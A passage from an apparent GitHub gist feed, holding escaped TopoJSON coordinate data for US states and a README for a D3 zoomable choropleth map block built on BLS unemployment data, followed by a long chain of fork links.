olygon&quot;,&quot;id&quot;:39000,&quot;arcs&quot;:[[177,178,-115,-99,-136,179]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:40000,&quot;arcs&quot;:[[-149,-54,180,-165,-61,-109]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41000,&quot;arcs&quot;:[[-90,-158,-58,181,182]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:42000,&quot;arcs&quot;:[[-163,-72,-122,183,-178,184,-170]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:44000,&quot;arcs&quot;:[[[-130,185]],[[186,-65,-132]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:45000,&quot;arcs&quot;:[[187,-77,-173]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46000,&quot;arcs&quot;:[[-176,-143,-106,-156,188,-152]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:47000,&quot;arcs&quot;:[[189,-174,-79,-5,-147,-50,-148,-113]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:48000,&quot;arcs&quot;:[[-53,-118,190,-166,-181]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:49000,&quot;arcs&quot;:[[191,-63,-49,-157,-88]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:50000,&quot;arcs&quot;:[[-160,-134,-168,192]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:51000,&quot;arcs&quot;:[[[-127,-73,-126,193,-175,-190,-112,194]],[[195,-124]]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53000,&quot;arcs&quot;:[[[-91,-183,196]],[[197]],[[198]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:54000,&quot;arcs&quot;:[[-184,-128,-195,-111,-179]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55000,&quot;arcs&quot;:[[-139,199,-93,-103,-142,200]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:56000,&quot;arcs&quot;:[[-189,-155,-64,-192,-87,-153]]}]}},&quot;arcs&quot;:[[[2632,3060],[5,-164],[7,-242],[4,-53],[3,-30],[-2,-19],[4,-11],[-5,-25],[0,-24],[-2,-32],[2,-57],[-2,-51],[3,-52]],[[2649,2300],[-14,-1],[-59,0],[-1,-25],[6,-37],[-1,-31],[2,-16],[-4,-28]],[[2578,2162],[-4,-6],[-7,31],[-1,47],[-2,6],[-3,-36],[-1,-34],[-7,9]],[[2553,2179],[-2,291],[6,363],[4,209],[-3,20]],[[2558,3062],[24,1],[50,-3]],[[1324,6901],[1,32],[6,-19],[-1,-32],[-8,4],[2,15]],[[1317,6960],[5,-23],[-3,-33],[-2,11],[0,45]],[[1285,7153],[6,5],[3,-8],[-1,-28],[-6,-6],[-5,17],[3,20]],[[1267,7137],[12,-7],[3,-36],[13,-41],[4,-25],[0,-21],[3,-4],[1,-27],[5,-27],[0,-25],[3,8],[2,-19],[1,-74],[-3,-17],[-7,3],[-3,38],[-2,-3],[-6,28],[-2,-10],[-5,10],[1,-28],[5,7],[3,-10],[-2,-39],[-5,4],[-9,49],[-2,25],[1,26],[-7,-2],[0,20],[5,2],[5,18],[-2,31],[-6,7],[-1,50],[-2,25],[-4,-18],[-2,28],[4,14],[-3,32],[2,8]],[[1263,6985],[5,-12],[4,15],[4,-7],[-4,-28],[-6,8],[-3,24]],[[1258,7247],[-4,19],[5,13],[15,-18],[7,1],[5,-36],[9,-29],[-1,-22],[-5,-11],[-6,5],[-5,-14],[-6,9],[-7,-9],[-1,45],[0,30],[-5,1],[-1,16]],[[1252,7162],[-4,14],[-4,32],[0,24],[3,11],[4,-11],[0,20],[12,-35],[1,-33],[-4,-5],[-3,-37],[3,-11],[-3,-43],[-5,9],[0,-27],[-3,13],[-2,54],[5,25]],[[1237,7124],[-1,-22],[-4,13],[-10,84],[-7,25],[3,20],[-3,48],[-8,39],[8,38],[3,-16],[7,-13],[6,-2],[0,-30],[6,-99],[0,-85]],[[1235,7494],[10,-15],[5,2],[0,-14],[8,-52],[-5,8],[-2,-18],[6,-27],[2,-48],[-6,-13],[-2,-16],[-10,-35],[-3,1],[-1,37],[2,22],[-1,32],[-3,40],[0,21],[-2,51],[-4,22],[-1,38],[7,-36]],[[1203,7324],[4,0],[4,-35],[-2,-24],[-6,-5],[1,38],[-1,26]],[[1191,7491],[8,-1],[6,17],[8,-23],[-5,-26],[2,-9],[4,28],[10,-9],[5,-21],[-3,-38],[3,-3],[3,-50],[-7,-7],[-14,41],[0,-42],[-4,-17],[-5,7],[-3,26],[-6,18],[-5,37],[-6,17],[1,30],[4,10],[1,26],[3,-11]],[[883,7871],[-12,-48],[-1,-19],[-9,-12],[2,29],[10,30],[7,34],[3,-14]],[[870,7943],[-2,-39],[-4,-41],[-6,14],[5,47],[7,19]],[[863,9788],[3,-8],[15,-9],[8,5],[10,0],[12,-7],[7,4],[7,-15],[12,-18],[16,-4],[5,10],[11,6],[4,14],[12,2],[0,-9],[7,5],[15,-15],[9,-24],[10,-11],[2,-11],[8,-2],[8,-18],[1,-11],[5,9],[6,-7],[0,-1783],[13,-16],[2,17],[14,-24],[8,30],[18,4],[-3,-52],[4,-17],[10,-17],[2,-27],[29,-101],[4,-63],[6,17],[12,31],[7,1],[3,23],[0,34],[5,0],[1,31],[9,7],[13,26],[13,-45],[-1,-27],[3,-27],[7,-7],[10,-40],[-1,-12],[4,-22],[12,-25],[19,-110],[3,-29],[6,-29],[8,-65],[9,-55],[-3,-23],[9,-9],[-2,-33],[7,-14],[1,-38],[7,2],[14,-40],[9,-7],[5,-19],[4,-5],[1,-19],[9,-5],[3,-23],[-4,-43],[1,-36],[4,-58],[-3,-15],[-7,-53],[-10,-39],[-3,20],[-4,-6],[-3,39],[1,17],[-3,20],[7,21],[-2,7],[-7,-26],[-3,17],[-4,-10],[-12,42],[4,46],[-8,-15],[0,-23],[-6,17],[-1,22],[4,24],[-1,24],[-6,-19],[-6,42],[-3,-8],[-2,36],[5,23],[6,0],[-2,28],[3,36],[-5,-1],[-9,32],[-6,37],[-15,27],[0,77],[-4,9],[1,31],[-5,9],[-8,42],[-2,22],[-12,7],[-14,56],[-6,132],[-3,-30],[1,-27],[6,-53],[-1,-8],[3,-43],[0,-28],[-6,6],[-4,31],[-6,6],[-8,-9],[0,45],[-5,38],[-4,-12],[-18,40],[-2,-11],[10,-13],[7,-31],[3,-1],[1,-25],[4,-30],[-10,-16],[-5,10],[0,-26],[-8,20],[-2,14],[-5,0],[-13,38],[-10,33],[0,20],[-6,30],[-14,21],[-9,21],[-14,26],[-9,24],[1,26],[2,-9],[3,17],[-3,38],[4,21],[-2,9],[-7,-40],[-14,-26],[-18,10],[-14,24],[-1,18],[-7,-4],[-7,14],[-17,12],[-9,1],[-21,-10],[-8,-7],[-10,27],[-12,12],[-3,17],[-2,28],[-8,-2],[-3,-25],[-15,34],[-2,14],[-15,-27],[-7,-32],[-3,30],[3,17],[4,-5],[14,22],[-2,17],[-6,-8],[-3,22],[-6,3],[-6,55],[-3,-13],[-8,-8],[-3,8],[-3,-18],[-11,6],[-1,-20],[-7,-5],[-3,7],[2,36],[-3,-1],[-5,-38],[7,-12],[1,-27],[4,-30],[-3,-31],[-5,10],[-2,-15],[6,-7],[3,-41],[-8,-9],[-4,9],[-7,-12],[-3,10],[-9,-2],[0,16],[-4,-10],[-3,-20],[-3,18],[-5,-25],[2,-12],[-6,-15],[-6,-2],[-3,-20],[-6,-17],[-4,6],[-5,-21],[-4,1],[-8,-43],[-9,-3],[-3,14],[-5,-23],[-11,17],[2,33],[8,11],[4,-2],[2,13],[8,25],[0,21],[-11,-28],[-9,16],[-1,12],[5,48],[8,34],[1,29],[2,5],[1,30],[-4,34],[10,12],[19,48],[4,-19],[6,-5],[9,20],[-10,26],[-4,20],[-7,-2],[-5,9],[-2,-8],[-9,-14],[-4,-26],[-9,-6],[-9,-30],[-1,-20],[-7,-11],[-2,-22],[-5,-13],[-2,-39],[-10,-25],[5,-20],[-4,-29],[-9,-5],[-1,-38],[-8,-13],[-3,15],[-4,-29],[-5,-1],[1,-21],[-11,-13],[-2,-57],[12,-3],[10,-16],[3,-19],[-4,-30],[-7,-19],[-6,-1],[0,-17],[-4,-6],[1,-21],[-4,-31],[-9,-29],[-5,0],[-5,-11],[-5,2],[-3,-11],[1,-16],[-7,-8],[-2,-23],[-5,14],[-5,-45],[-9,4],[1,-24],[-6,6],[-3,-11],[0,-32],[-6,-50],[-10,-6],[-7,-23],[-2,-13],[-5,18],[-8,-48],[-2,13],[-5,-4],[-1,-27],[-5,-10],[-6,4],[-4,-27],[8,-9],[-9,-60],[-25,-20],[-6,-54],[-2,12],[1,33],[-5,6],[-6,-13],[-1,-14],[-10,-22],[-4,-25],[-1,18],[-2,-21],[-6,14],[-10,-33],[-8,2],[1,25],[-4,24],[-3,-20],[1,-21],[-11,-64],[-3,16],[-1,-24],[-8,4],[-1,38],[-4,8],[-2,-14],[4,-16],[-2,-27],[-5,-13],[-5,29],[-5,2],[-1,-11],[5,-17],[-9,-27],[6,-7],[0,-13],[-5,9],[-7,-25],[-15,1],[-7,-16],[0,-13],[-8,-15],[-6,6],[-2,35],[6,12],[4,43],[6,1],[13,28],[10,1],[4,-27],[3,20],[-1,23],[6,10],[7,0],[8,50],[10,45],[12,40],[15,18],[6,-9],[6,12],[1,-17],[-3,-19],[4,-14],[1,23],[7,2],[2,-15],[5,-5],[0,18],[-8,15],[0,11],[5,49],[6,28],[9,27],[15,24],[10,35],[5,-13],[4,5],[-1,22],[1,21],[8,44],[11,28],[8,38],[0,21],[7,148],[11,40],[-1,31],[-27,-45],[-8,6],[-2,18],[-5,9],[-1,21],[-4,-10],[-3,-32],[5,-41],[-6,-18],[-5,7],[-9,64],[-6,33],[-4,0],[-2,-24],[-3,-4],[-4,19],[-5,4],[-2,32],[-16,-37],[-13,-26],[-1,-14],[-11,-22],[-6,20],[5,23],[-1,54],[-4,57],[7,24],[-6,49],[-5,27],[-4,39],[-6,17],[-2,-34],[-7,-8],[-12,-22],[-14,-9],[-7,2],[-7,12],[-1,30],[-5,9],[-9,42],[-8,8],[-8,46],[6,21],[1,39],[-5,-8],[0,24],[2,19],[-6,18],[0,-19],[-7,8],[-1,32],[-6,4],[-3,22],[0,27],[-5,-12],[-1,26],[7,6],[-6,30],[10,2],[0,35],[2,24],[18,77],[4,23],[3,-5],[-2,33],[7,55],[6,22],[11,9],[8,-9],[12,-33],[8,4],[11,32],[11,49],[6,6],[1,-13],[13,0],[12,10],[11,52],[0,12],[-5,48],[-1,28],[-8,31],[-3,26],[8,-7],[8,22],[0,20],[-10,39],[-8,-30],[-7,5],[-6,-17],[-8,-4],[-2,-11],[-9,-17],[-2,-28],[-5,-12],[-2,34],[-5,7],[-4,-26],[-2,12],[-10,19],[-20,-1],[-14,-21],[-6,-3],[-11,13],[-22,14],[-6,12],[-3,19],[2,26],[-8,22],[2,24],[5,12],[-2,31],[-8,0],[-6,8],[-13,6],[-7,16],[-10,16],[-1,19],[16,27],[20,43],[15,27],[8,-15],[8,-3],[2,21],[-5,3],[-1,18],[20,29],[22,22],[12,2],[7,-7],[-4,-32],[2,-22],[-3,-15],[4,-26],[8,5],[10,-5],[11,6],[4,-10],[7,-2],[7,10],[8,-11],[9,42],[5,2],[5,-8],[2,24],[-12,11],[-11,-9],[1,31],[-8,34],[-10,10],[-2,30],[7,8],[9,-31],[-1,-24],[4,-18],[10,-22],[2,23],[-11,30],[5,54],[-4,10],[-11,-12],[-11,3],[-2,10],[-6,-10],[-24,23],[0,24],[-7,54],[-6,19],[-9,17],[-19,46],[-9,18],[-8,4],[-13,31],[-12,18],[-1,6],[9,10],[4,29],[1,59],[25,-4],[31,13],[8,11],[12,29],[12,45],[3,45],[5,38],[10,33],[5,24],[13,38],[2,-10],[11,-3],[16,20],[10,21],[24,64],[9,4],[1,-10],[9,7],[9,-2],[18,9],[17,28],[17,58],[7,13],[2,-10],[26,-24],[2,-17],[-9,-22],[-4,-1],[0,-29],[14,9],[0,16],[6,14],[2,-8],[5,33],[13,-30],[-2,-23],[8,-6],[5,-14],[7,22],[13,1],[7,7],[18,-7],[10,-8],[-5,-45],[17,-12],[2,-11],[16,-20],[1,9],[12,13],[11,-1],[0,-11],[7,-1],[7,15],[11,2],[9,-6],[11,-16],[5,3],[7,-22],[4,9],[7,-7],[5,-13]],[[717,7456],[-1,-8],[-9,13],[7,49],[6,4],[4,45],[5,-40],[4,14],[8,-22],[0,-31],[-11,-4],[-5,-13],[-8,-7]],[[688,7363],[8,25],[-8,6],[0,22],[6,14],[5,-10],[0,-22],[3,15],[0,32],[5,-15],[1,21],[5,-12],[5,0],[5,11],[7,-20],[0,-55],[9,4],[-6,-37],[-11,15],[4,-24],[-3,-20],[-6,10],[0,-38],[-8,-10],[-3,-16],[-5,15],[-6,-40],[-4,-4],[-5,-18],[-2,43],[-6,-23],[-1,13],[-6,14],[0,39],[-6,15],[4,45],[11,28],[7,-2],[1,-21]],[[671,7185],[-6,-39],[-2,6],[8,33]],[[640,7055],[4,-2],[-1,-40],[-8,6],[-1,13],[6,23]],[[519,6933],[-2,-41],[-9,-33],[5,51],[2,-5],[4,28]],[[501,6947],[5,0],[0,-20],[-5,-23],[-5,15],[-3,-14],[-2,35],[2,12],[8,-5]],[[451,6875],[1,-16],[-3,-11],[-3,18],[5,9]],[[447,8527],[-4,-19],[-2,16],[6,3]],[[436,6781],[6,-7],[-1,-16],[-5,1],[0,22]],[[358,6745],[2,-22],[-5,-10],[-1,23],[4,9]],[[352,6718],[-8,-21],[-2,14],[3,19],[7,-12]],[[335,7902],[6,7],[2,-14],[5,3],[6,-12],[1,-54],[-3,-18],[-7,-11],[-2,-18],[-11,20],[-5,-1],[-10,28],[-4,0],[-6,15],[-2,25],[3,7],[10,-7],[5,20],[6,2],[2,14],[4,-6]],[[334,6690],[5,-14],[-10,-36],[1,-6],[12,26],[0,-15],[-5,-17],[-8,-12],[-1,-18],[-8,-18],[-7,-1],[-5,-18],[-9,-16],[-5,17],[9,20],[3,-3],[8,16],[-2,19],[4,20],[6,-9],[1,12],[-7,4],[-4,14],[4,23],[11,13],[2,-26],[5,25]],[[266,6527],[10,37],[1,16],[4,17],[7,9],[3,-10],[2,-25],[-13,-27],[-6,-40],[-5,-13],[-3,36]],[[238,6477],[2,-19],[-8,-1],[-1,13],[7,7]],[[227,7303],[-4,-18],[-1,18],[5,0]],[[212,6440],[2,-18],[-5,-13],[-1,19],[4,12]],[[182,8542],[22,-28],[13,24],[6,-2],[5,-14],[2,-23],[11,-12],[4,-12],[15,-5],[9,-8],[-5,-28],[-7,6],[-8,-5],[-4,-13],[-4,-28],[-5,26],[-6,18],[-6,2],[-3,20],[-15,25],[-6,1],[-11,-22],[-7,11],[-4,23],[4,44]],[[162,6381],[0,-22],[-5,-4],[1,19],[4,7]],[[128,6335],[4,-8],[10,1],[1,-7],[-13,-9],[-2,23]],[[108,6360],[0,19],[4,7],[6,-19],[-2,-17],[-4,1],[1,-20],[-5,-2],[-12,-21],[-6,6],[2,15],[7,-2],[9,33]],[[47,6279],[5,3],[0,-24],[-6,3],[-8,-28],[-4,37],[4,1],[0,29],[5,1],[0,-21],[4,-1]],[[28,6296],[3,-9],[-2,-32],[-5,-10],[0,20],[4,31]],[[0,6291],[5,-1],[4,-23],[-4,-27],[-5,51]],[[9993,6496],[6,-13],[0,-19],[-11,-12],[-8,31],[0,15],[13,-2]],[[1966,3444],[-1,-1081]],[[1965,2363],[-57,0],[-34,71],[-73,150],[3,43]],[[1804,2627],[6,8],[1,16],[-1,36],[-4,1],[-2,71],[6,27],[0,28],[-1,45],[4,34],[4,12],[4,25],[-6,27],[-4,51],[-5,31],[0,24]],[[1806,3063],[2,26],[0,36],[-3,36],[-2,112],[11,7],[3,-23],[3,1],[3,33],[0,153]],[[1823,3444],[101,2],[42,-2]],[[2515,3253],[-1,-35],[-4,-11],[-1,-29],[-5,-31],[0,-46],[-3,-34],[-3,-5]],[[2498,3062],[2,-17],[-4,-14],[-2,-33],[-3,-8],[0,-38],[-5,-10],[0,-13],[-6,-31],[2,-21],[-5,-30],[-5,-59],[5,-25],[-2,-16],[1,-39],[-2,-26]],[[2474,2682],[-69,3],[-13,0]],[[2392,2685],[0,101],[-4,8],[-5,-9],[-3,18]],[[2380,2803],[1,335],[-5,211]],[[2376,3349],[4,0],[123,-1],[2,-36],[-4,-23],[-4,-36],[18,0]],[[1654,4398],[0,-331],[0,-241],[36,-171],[35,-169],[27,-137],[20,-101],[34,-185]],[[1804,2627],[-38,-18],[-30,-16],[-4,25],[0,40],[-2,47],[-4,33],[-9,46],[-12,43],[-2,-12],[-4,8],[1,18],[-5,39],[-7,-8],[-12,28],[-2,23],[-8,28],[-9,-1],[-7,13],[-10,-6],[-5,26],[1,53],[-1,8],[1,38],[-8,28],[0,39],[-3,2],[-4,33],[-4,8],[-1,20],[-11,79],[-5,23],[-1,62],[2,-6],[2,37],[-4,33],[-5,-4],[-7,30],[-2,24],[0,23],[-3,31],[0,50],[5,0],[-2,70],[-2,-7],[-1,-35],[-5,-7],[-7,26],[-1,45],[-4,35],[-6,22],[-3,25],[-9,50],[2,14],[-4,64],[2,35],[-3,54],[-7,52],[-7,29],[-2,35],[7,83],[2,29],[-2,22],[3,57],[-2,52],[-3,13],[1,42]],[[1534,4399],[28,1],[24,1],[38,-3],[30,0]],[[2107,4208],[57,0],[0,-191]],[[2164,4017],[1,-574]],[[2165,3443],[-28,1]],[[2137,3444],[-38,-1],[-72,0],[-15,1],[-46,0]],[[1966,3444],[0,223],[-1,21],[0,162],[0,357]],[[1965,4207],[32,1],[63,-1],[47,1]],[[3025,4400],[0,-113],[-2,-18]],[[3023,4269],[-2,3],[-12,-14],[-15,4],[-7,-26],[-7,-9],[-8,-22]],[[2972,4205],[-2,22],[7,21],[-2,16],[2,144]],[[2977,4408],[12,-2],[36,-3],[0,-3]],[[2922,3980],[-2,-23]],[[2920,3957],[-3,-13],[0,-30],[5,-29],[1,-47],[6,-49],[3,-2],[1,-66]],[[2933,3721],[-19,3],[-2,240]],[[2912,3964],[5,21],[5,-5]],[[2876,3786],[-2,27]],[[2874,3813],[2,12],[4,-19],[-4,-20]],[[2649,2300],[4,-55],[39,-13],[37,-14],[1,-41],[4,1],[1,39],[-1,35],[2,15],[7,-16],[8,-7]],[[2751,2244],[1,-83],[4,-93],[8,-122],[13,-131],[-2,-9],[1,-61],[5,-68],[8,-137],[2,-42],[0,-44],[-3,-158],[-3,-3],[-3,-49],[1,-16],[-5,-36],[-2,9],[-6,-15],[-9,-8],[-2,20],[1,29],[-7,85],[-5,15],[-4,-11],[-3,47],[-1,38],[-6,43],[-2,28],[1,41],[-3,8],[1,-24],[-3,-7],[-9,104],[-4,26],[9,76],[-6,-4],[-4,-24],[-3,38],[5,104],[1,87],[-4,21],[-1,28],[-5,6],[-7,46],[-5,19],[0,28],[-4,11],[-3,31],[-11,42],[-9,-10],[0,-29],[-3,5],[-12,-35],[-12,-9],[0,21],[-3,25],[-15,57],[-10,24],[-10,6],[-8,-4],[-17,-18]],[[2703,3063],[-6,-41],[0,-20],[9,-40],[3,3],[5,-42],[1,-22],[4,-40],[7,-24],[3,-35],[8,-33],[0,-22],[5,-35],[7,-29],[2,-32],[1,-40],[3,-14],[5,-51],[0,-33],[7,-16]],[[2767,2497],[-7,-65],[-2,-34],[-3,-29],[0,-30],[-3,-14],[-1,-81]],[[2632,3060],[37,1]],[[2669,3061],[20,-1],[14,3]],[[640,0],[-7,17],[-1,16],[1,43],[-5,73],[4,24],[2,34],[-2,22],[1,23],[8,-27],[9,-20],[5,-29],[0,-26],[8,-40],[-5,-34],[-8,-15],[-7,-25],[-3,-36]],[[613,397],[3,-26],[4,11],[9,-30],[-1,-27],[-9,-14],[-2,6],[-1,33],[-5,7],[-1,19],[3,21]],[[602,432],[-3,-20],[-7,0],[2,22],[8,-2]],[[574,525],[3,-45],[-2,-26],[-6,-5],[-4,54],[4,1],[5,21]],[[531,626],[3,-2],[2,-20],[-1,-28],[-4,-18],[-9,22],[1,31],[8,15]],[[1766,5734],[0,-195],[9,-54],[1,-52],[5,-23],[6,-8],[0,-14],[11,-51],[1,-21],[8,-20],[0,-12],[8,1],[-4,-71],[-1,-45],[3,-29],[-5,-21],[2,</code></pre><p><em>Truncated — <a href="https://gist.github.com/d9be09d2820d6772c92188cafbdf8442">view the full gist</a>.</em></p>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[Zoomable Choropleth D3 V3 - Queue removed]]></title>
      <link>https://gist.github.com/0afcb4f2547112af6d8b6eceeed4118d</link>
      <guid isPermaLink="true">https://gist.github.com/0afcb4f2547112af6d8b6eceeed4118d</guid>
      <pubDate>Wed, 21 Sep 2016 18:17:59 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2016-09-21T18:17:59.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>.block</code:filename>
        <code:language>Unknown</code:language>
        <code:size>25</code:size>
      </code:file>
      <code:file>
        <code:filename>README.md</code:filename>
        <code:language>Markdown</code:language>
        <code:size>5651</code:size>
      </code:file>
      <code:file>
        <code:filename>data.csv</code:filename>
        <code:language>CSV</code:language>
        <code:size>110666</code:size>
      </code:file>
      <code:file>
        <code:filename>index.html</code:filename>
        <code:language>HTML</code:language>
        <code:size>6759</code:size>
      </code:file>
      <code:file>
        <code:filename>us-counties.json</code:filename>
        <code:language>JSON</code:language>
        <code:size>656701</code:size>
      </code:file>
      <code:file>
        <code:filename>us-states.json</code:filename>
        <code:language>JSON</code:language>
        <code:size>27577</code:size>
      </code:file>
      <description><![CDATA[Zoomable Choropleth D3 V3 - Queue removed]]></description>
      <content:encoded><![CDATA[<h3>.block</h3><pre><code>license: mit
height: 600
</code></pre>
<h3>README.md</h3><pre><code class="language-markdown">Block-a-Day #11. Clicking on a state zooms the map to that state and shows county-level data.

**Data Sources:** [BLS](http://www.bls.gov/lau/).

**What I Learned:** Trying out the new [_projection_.fitExtent()](https://github.com/d3/d3-geo#projection_fitExtent). In the process, learned about [adaptive resampling](http://bl.ocks.org/mbostock/3795544), which can break interpolation by changing the number of coordinates in a path at different zoom levels. Fixed the resulting bug by setting [_projection_.precision()](https://github.com/d3/d3-geo#projection_precision) to 0, effectively turning off resampling.

**What I&apos;d Do With More Time:** Finding a way to include Alaska and Hawaii is an obvious next step (albersUSA didn&apos;t immediately work with this technique). Could probably use more detailed county shapefiles.

## Block-a-Day

Just what it sounds like. For fifteen days, I will make a [D3.js v4](https://d3js.org) block every single day. Rules:

1. Ideas over implementation. Do something novel, don&apos;t sweat the details.
2. No more than two hours can be spent on coding (give or take).
3. Every. Single. Day.

### Previously

* [Map to Force-Directed Graph](https://bl.ocks.org/cmgiven/4cfa1a95f9b952622280a90138842b79)
* [Brushable Scatterplot/Choropleth](https://bl.ocks.org/cmgiven/abca90f6ba5f0a14c54d1eb952f8949c)
* [Treemap Bar Chart](https://bl.ocks.org/cmgiven/018fd027d443b177e18fffb9afcdb5bd)
* [Triangular Scatterplot](https://bl.ocks.org/cmgiven/a0f58034cea5331a814b30b74aacb8af)
* [Choropleth with Animated Stripes](http://bl.ocks.org/cmgiven/09140e2ac8119340048f62d1b241977e)
* [Collatz Conjecture](https://bl.ocks.org/cmgiven/231f779f9655025f38b5b4b828f3b7b0)
* [Bouncing Logo](https://bl.ocks.org/cmgiven/a325f14550a65dc8ff6898ef0f9feeb4)
* [Rectangular Collision Detection](https://bl.ocks.org/cmgiven/547658968d365bcc324f3e62e175709b)
* [Demers Catogram](https://bl.ocks.org/cmgiven/9d6bc46cf586738458c13dd2b5dadd84)
* [Gooey Exploding Scatterplot](https://bl.ocks.org/cmgiven/e5dfe0888968ee8c507f5469a4d62b6f)


forked from &lt;a href=&apos;http://bl.ocks.org/cmgiven/&apos;&gt;cmgiven&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/cmgiven/d39ec773c4f063a463137748097ff52f&apos;&gt;Zoomable Choropleth&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/anonymous/&apos;&gt;anonymous&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/anonymous/670b131bf0e22caa5c0901191edd89e1&apos;&gt;Zoomable Choropleth&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/anonymous/&apos;&gt;anonymous&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/anonymous/321222dc2bc719633f230301a0cf5105&apos;&gt;Zoomable Choropleth D3 V3&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/a9012e6300d13ec5249b8f5827430505&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/f41c371da87a76c88b768c67e382e3ad&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/1f1955af07b8a6b8280fa6a86b3bf033&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/78794dcae28394eec2215a1b7fb2bc24&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/867a7b513aa7edaf41dc798dd6be4d5a&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/d8b87b4d3d74944be837e21f12ec0b7e&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/b2b7902aac884a4a5f41479b0b55c952&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/74c955c65eec82f8425616d26fabee4f&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/c812bfdde1e6f06a4a437eb7112a02d4&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/12768d82017fb435c62c90649d9071d8&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/c3f658314b0cf3ce1f714631ff62ad04&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/a13a390b32f5dc70a62aeb3af5e8e568&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/3dd69f510085138459f3b2702347563f&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/f644e13737e8a14417ebbd4374e1281b&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/036c2a6819ca5211d6b51efa7cd7f008&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/1bfb2602816244f016b7ba9efd791114&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

